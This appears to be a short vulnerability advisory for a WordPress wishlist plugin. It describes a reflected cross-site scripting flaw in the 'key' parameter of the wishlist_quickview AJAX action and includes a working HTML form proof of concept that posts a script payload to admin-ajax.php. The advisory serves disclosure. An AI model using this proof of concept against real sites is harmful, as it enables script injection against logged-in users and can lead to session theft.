Description
The plugin does not sanitise and escape the key parameter before outputting it back in the wishlist_quickview AJAX action's response (available to any authenticated user), leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wishlist_quickview" method="POST">
<input type="text" name="key" value='<script>alert(/XSS/);</script>'>
<input type="submit" value="Send">
</form>
</html>
The source and destination should use the https:// protocol for the exploit to work on Chrome.
